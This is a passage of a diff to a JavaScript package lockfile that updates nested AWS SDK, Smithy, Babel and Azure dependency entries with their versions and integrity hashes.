+ "@aws-sdk/nested-clients/@smithy/node-config-provider/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.1", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tph+oQYPbpN6NamF030hx1gb5YN2Plog+GLaRHpoEDwp8+ZPG26rIJvStG9hkWzN2HBn3HcWg0sHeB0tmkYzqA=="],
- "@aws-sdk/middleware-sdk-s3/@smithy/node-config-provider/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.6", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-IB/M5I8G0EeXZTHsAxpx51tMQ5R719F3aq+fjEB6VtNcCHDc0ajFDIGDZw+FW9GxtEkgTduiPpjveJdA/CX7sw=="],
+ "@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream": ["@smithy/util-stream@4.5.7", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.7", "@smithy/node-http-handler": "^4.4.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Uuy4S5Aj4oF6k1z+i2OtIBJUns4mlg29Ph4S+CqjR+f4XXpSFVgTCYLzMszHJTicYDBxKFtwq2/QSEDSS5l02A=="],
- "@aws-sdk/middleware-sdk-s3/@smithy/smithy-client/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.4.23", "", { "dependencies": { "@smithy/core": "^3.23.9", "@smithy/middleware-serde": "^4.2.12", "@smithy/node-config-provider": "^4.3.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "@smithy/util-middleware": "^4.2.11", "tslib": "^2.6.2" } }, "sha512-UEFIejZy54T1EJn2aWJ45voB7RP2T+IRzUqocIdM6GFFa5ClZncakYJfcYnoXt3UsQrZZ9ZRauGm77l9UCbBLw=="],
+ "@aws-sdk/nested-clients/@smithy/url-parser/@smithy/querystring-parser": ["@smithy/querystring-parser@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-YmWxl32SQRw/kIRccSOxzS/Ib8/b5/f9ex0r5PR40jRJg8X1wgM3KrR2In+8zvOGVhRSXgvyQpw9yOSlmfmSnA=="],
- "@aws-sdk/middleware-sdk-s3/@smithy/smithy-client/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-s+eenEPW6RgliDk2IhjD2hWOxIx1NKrOHxEwNUaUXxYBxIyCcDfNULZ2Mu15E3kwcJWBedTET/kEASPV1A1Akg=="],
+ "@aws-sdk/nested-clients/@smithy/util-base64/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.13", "", { "dependencies": { "@smithy/protocol-http": "^5.3.11", "@smithy/querystring-builder": "^4.2.11", "@smithy/types": "^4.13.0", "@smithy/util-base64": "^4.3.2", "tslib": "^2.6.2" } }, "sha512-U2Hcfl2s3XaYjikN9cT4mPu8ybDbImV3baXR0PkVlC0TTx808bRP3FaPGAzPtB8OByI+JqJ1kyS+7GEgae7+qQ=="],
+ "@aws-sdk/nested-clients/@smithy/util-defaults-mode-browser/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="],
- "@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.14", "", { "dependencies": { "@smithy/abort-controller": "^4.2.11", "@smithy/protocol-http": "^5.3.11", "@smithy/querystring-builder": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-DamSqaU8nuk0xTJDrYnRzZndHwwRnyj/n/+RqGGCcBKB4qrQem0mSDiWdupaNWdwxzyMU91qxDmHOCazfhtO3A=="],
+ "@aws-sdk/nested-clients/@smithy/util-defaults-mode-node/@smithy/credential-provider-imds": ["@smithy/credential-provider-imds@4.2.6", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.6", "@smithy/property-provider": "^4.2.6", "@smithy/types": "^4.10.0", "@smithy/url-parser": "^4.2.6", "tslib": "^2.6.2" } }, "sha512-xBmawExyTzOjbhzkZwg+vVm/khg28kG+rj2sbGlULjFd1jI70sv/cbpaR0Ev4Yfd6CpDUDRMe64cTqR//wAOyA=="],
- "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3": ["@aws-sdk/middleware-sdk-s3@3.758.0", "", { "dependencies": { "@aws-sdk/core": "3.758.0", "@aws-sdk/types": "3.734.0", "@aws-sdk/util-arn-parser": "3.723.0", "@smithy/core": "^3.1.5", "@smithy/node-config-provider": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/signature-v4": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/util-config-provider": "^4.0.0", "@smithy/util-middleware": "^4.0.1", "@smithy/util-stream": "^4.1.2", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-6mJ2zyyHPYSV6bAcaFpsdoXZJeQlR1QgBnZZ6juY/+dcYiuyWCdyLUbGzSZSE7GTfx6i+9+QWFeoIMlWKgU63A=="],
+ "@aws-sdk/nested-clients/@smithy/util-defaults-mode-node/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="],
- "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
+ "@aws-sdk/nested-clients/@smithy/util-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0" } }, "sha512-Q73XBrzJlGTut2nf5RglSntHKgAG0+KiTJdO5QQblLfr4TdliGwIAha1iZIjwisc3rA5ulzqwwsYC6xrclxVQg=="],
- "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core": ["@smithy/core@3.1.5", "", { "dependencies": { "@smithy/middleware-serde": "^4.0.2", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "@smithy/util-body-length-browser": "^4.0.0", "@smithy/util-middleware": "^4.0.1", "@smithy/util-stream": "^4.1.2", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-HLclGWPkCsekQgsyzxLhCQLa8THWXtB5PxyYN+2O6nkyLt550KQKTlbV2D1/j5dNIQapAZM1+qFnpBFxZQkgCA=="],
+ "@aws-sdk/nested-clients/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/middleware-serde": ["@smithy/middleware-serde@4.0.2", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-Sdr5lOagCn5tt+zKsaW+U2/iwr6bI9p08wOkCp6/eL6iMbgdtc2R5Ety66rf87PeohR0ExI84Txz9GYv5ou3iQ=="],
+ "@aws-sdk/token-providers/@aws-sdk/core/@aws-sdk/xml-builder": ["@aws-sdk/xml-builder@3.930.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "fast-xml-parser": "5.2.5", "tslib": "^2.6.2" } }, "sha512-YIfkD17GocxdmlUVc3ia52QhcWuRIUJonbF8A2CYfcWNV3HzvAqpcPeC0bYUhkK+8e8YO1ARnLKZQE0TlwzorA=="],
- "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/node-config-provider": ["@smithy/node-config-provider@4.0.1", "", { "dependencies": { "@smithy/property-provider": "^4.0.1", "@smithy/shared-ini-file-loader": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-8mRTjvCtVET8+rxvmzRNRR0hH2JjV0DFOmwXPrISmTIJEfnCBugpYYGAsCj8t41qd+RB5gbheSQ/6aKZCQvFLQ=="],
+ "@aws-sdk/token-providers/@aws-sdk/core/@smithy/core": ["@smithy/core@3.19.0", "", { "dependencies": { "@smithy/middleware-serde": "^4.2.7", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-stream": "^4.5.7", "@smithy/util-utf8": "^4.2.0", "@smithy/uuid": "^1.1.0", "tslib": "^2.6.2" } }, "sha512-Y9oHXpBcXQgYHOcAEmxjkDilUbSTkgKjoHYed3WaYUH8jngq8lPWDBSpjHblJ9uOgBdy5mh3pzebrScDdYr29w=="],
- "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-hC8F6qTBbuHRI/uqDgqqi6J0R4GtEZcgrZPhFQnMhfJs3MnUTGSnR1NSJCJs5VWlMydu0kJz15M640fJlRsIOw=="],
+ "@aws-sdk/token-providers/@aws-sdk/core/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.6", "", { "dependencies": { "@smithy/property-provider": "^4.2.6", "@smithy/shared-ini-file-loader": "^4.4.1", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-fYEyL59Qe82Ha1p97YQTMEQPJYmBS+ux76foqluaTVWoG9Px5J53w6NvXZNE3wP7lIicLDF7Vj1Em18XTX7fsA=="],
- "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/url-parser": ["@smithy/url-parser@4.0.1", "", { "dependencies": { "@smithy/querystring-parser": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-gPXcIEUtw7VlK8f/QcruNXm7q+T5hhvGu9tl63LsJPZ27exB6dtNwvh2HIi0v7JcXJ5emBxB+CJxwaLEdJfA+g=="],
+ "@aws-sdk/token-providers/@aws-sdk/core/@smithy/protocol-http": ["@smithy/protocol-http@5.3.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qLRZzP2+PqhE3OSwvY2jpBbP0WKTZ9opTsn+6IWYI0SKVpbG+imcfNxXPq9fj5XeaUTr7odpsNpK6dmoiM1gJQ=="],
- "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
+ "@aws-sdk/token-providers/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.6", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-P1TXDHuQMadTMTOBv4oElZMURU4uyEhxhHfn+qOc2iofW9Rd4sZtBGx58Lzk112rIGVEYZT8eUMK4NftpewpRA=="],
- "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/core": ["@smithy/core@3.1.5", "", { "dependencies": { "@smithy/middleware-serde": "^4.0.2", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "@smithy/util-body-length-browser": "^4.0.0", "@smithy/util-middleware": "^4.0.1", "@smithy/util-stream": "^4.1.2", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-HLclGWPkCsekQgsyzxLhCQLa8THWXtB5PxyYN+2O6nkyLt550KQKTlbV2D1/j5dNIQapAZM1+qFnpBFxZQkgCA=="],
+ "@aws-sdk/token-providers/@aws-sdk/core/@smithy/smithy-client": ["@smithy/smithy-client@4.10.1", "", { "dependencies": { "@smithy/core": "^3.19.0", "@smithy/middleware-endpoint": "^4.4.0", "@smithy/middleware-stack": "^4.2.6", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-stream": "^4.5.7", "tslib": "^2.6.2" } }, "sha512-1ovWdxzYprhq+mWqiGZlt3kF69LJthuQcfY9BIyHx9MywTFKzFapluku1QXoaBB43GCsLDxNqS+1v30ure69AA=="],
- "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/middleware-stack": ["@smithy/middleware-stack@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dHwDmrtR/ln8UTHpaIavRSzeIk5+YZTBtLnKwDW3G2t6nAupCiQUvNzNoHBpik63fwUaJPtlnMzXbQrNFWssIA=="],
+ "@aws-sdk/token-providers/@aws-sdk/core/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
- "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream": ["@smithy/util-stream@4.1.2", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.0.1", "@smithy/node-http-handler": "^4.0.3", "@smithy/types": "^4.1.0", "@smithy/util-base64": "^4.0.0", "@smithy/util-buffer-from": "^4.0.0", "@smithy/util-hex-encoding": "^4.0.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-44PKEqQ303d3rlQuiDpcCcu//hV8sn+u2JBo84dWCE0rvgeiVl0IlLMagbU++o0jCWhYCsHaAt9wZuZqNe05Hw=="],
+ "@aws-sdk/token-providers/@aws-sdk/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qrvXUkxBSAFomM3/OEMuDVwjh4wtqK8D2uDZPShzIqOylPst6gor2Cdp6+XrH4dyksAWq/bE2aSDYBTTnj0Rxg=="],
- "@aws-sdk/signature-v4-multi-region/@smithy/signature-v4/@smithy/util-middleware": ["@smithy/util-middleware@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-r3dtF9F+TpSZUxpOVVtPfk09Rlo4lT6ORBqEvX3IBT6SkQAdDSVKR5GcfmZbtl7WKhKnmb3wbDTQ6ibR2XHClw=="],
+ "@aws-sdk/token-providers/@aws-sdk/core/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
- "@aws-sdk/util-format-url/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
- "@babel/core/@babel/helper-compilation-targets/@babel/compat-data": ["@babel/compat-data@7.29.0", "", {}, "sha512-T1NCJqT/j9+cn8fvkt7jtwbLBfLC/1y1c7NtCeXFRgzGTsafi68MRv8yzkYSapBnFA6L3U2VSc02ciDzoAJhJg=="],
-
- "@babel/core/@babel/helper-compilation-targets/lru-cache": ["lru-cache@5.1.1", "", { "dependencies": { "yallist": "^3.0.2" } }, "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w=="],
-
- "@babel/helper-compilation-targets/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="],
-
- "@babel/helper-compilation-targets/browserslist/electron-to-chromium": ["electron-to-chromium@1.5.254", "", {}, "sha512-DcUsWpVhv9svsKRxnSCZ86SjD+sp32SGidNB37KpqXJncp1mfUgKbHvBomE89WJDbfVKw1mdv5+ikrvd43r+Bg=="],
+ "@azure/core-xml/fast-xml-parser/strnum": ["strnum@2.0.5", "", {}, "sha512-YAT3K/sgpCUxhxNMrrdhtod3jckkpYwH6JAuwmUdXZsmzH1wUyzTMrrK2wYCEEqlKwrWDd35NeuUkbBy/1iK+Q=="],
"@babel/helper-compilation-targets/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
"@babel/helper-compilation-targets/lru-cache/yallist": ["yallist@3.1.1", "", {}, "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g=="],
- "@babel/helper-create-class-features-plugin/@babel/traverse/@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="],
-
- "@babel/helper-create-class-features-plugin/@babel/traverse/@babel/generator": ["@babel/generator@7.28.5", "", { "dependencies": { "@babel/parser": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ=="],
-
- "@babel/helper-create-class-features-plugin/@babel/traverse/@babel/parser": ["@babel/parser@7.28.5", "", { "dependencies": { "@babel/types": "^7.28.5" }, "bin": { "parser": "bin/babel-parser.js" } }, "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ=="],
-
- "@babel/helper-create-class-features-plugin/@babel/traverse/@babel/template": ["@babel/template@7.27.2", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/parser": "^7.27.2", "@babel/types": "^7.27.1" } }, "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw=="],
-
- "@babel/helper-create-class-features-plugin/@babel/traverse/@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
-
- "@babel/helper-create-class-features-plugin/@babel/traverse/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
- "@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure/@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
-
- "@babel/helper-member-expression-to-functions/@babel/traverse/@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="],
-
- "@babel/helper-member-expression-to-functions/@babel/traverse/@babel/generator": ["@babel/generator@7.28.5", "", { "dependencies": { "@babel/parser": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ=="],
-
- "@babel/helper-member-expression-to-functions/@babel/traverse/@babel/parser": ["@babel/parser@7.28.5", "", { "dependencies": { "@babel/types": "^7.28.5" }, "bin": { "parser": "bin/babel-parser.js" } }, "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ=="],
-
- "@babel/helper-member-expression-to-functions/@babel/traverse/@babel/template": ["@babel/template@7.27.2", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/parser": "^7.27.2", "@babel/types": "^7.27.1" } }, "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw=="],
-
- "@babel/helper-member-expression-to-functions/@babel/traverse/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
- "@babel/helper-module-imports/@babel/traverse/@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="],
-
- "@babel/helper-module-imports/@babel/traverse/@babel/generator": ["@babel/generator@7.28.5", "", { "dependencies": { "@babel/parser": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ=="],
-
- "@babel/helper-module-imports/@babel/traverse/@babel/parser": ["@babel/parser@7.28.5", "", { "dependencies": { "@babel/types": "^7.28.5" }, "bin": { "parser": "bin/babel-parser.js" } }, "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ=="],
-
- "@babel/helper-module-imports/@babel/traverse/@babel/template": ["@babel/template@7.27.2", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/parser": "^7.27.2", "@babel/types": "^7.27.1" } }, "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw=="],
-
- "@babel/helper-module-imports/@babel/traverse/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
- "@babel/helper-remap-async-to-generator/@babel/traverse/@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="],
-
- "@babel/helper-remap-async-to-generator/@babel/traverse/@babel/generator": ["@babel/generator@7.28.5", "", { "dependencies": { "@babel/parser": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ=="],
-
- "@babel/helper-remap-async-to-generator/@babel/traverse/@babel/parser": ["@babel/parser@7.28.5", "", { "dependencies": { "@babel/types": "^7.28.5" }, "bin": { "parser": "bin/babel-parser.js" } }, "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ=="],
-
- "@babel/helper-remap-async-to-generator/@babel/traverse/@babel/template": ["@babel/template@7.27.2", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/parser": "^7.27.2", "@babel/types": "^7.27.1" } }, "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw=="],
-
- "@babel/helper-remap-async-to-generator/@babel/traverse/@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
-
- "@babel/helper-remap-async-to-generator/@babel/traverse/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
- "@babel/helper-replace-supers/@babel/traverse/@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="],
-
- "@babel/helper-replace-supers/@babel/traverse/@babel/generator": ["@babel/generator@7.28.5", "", { "dependencies": { "@babel/parser": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ=="],
-
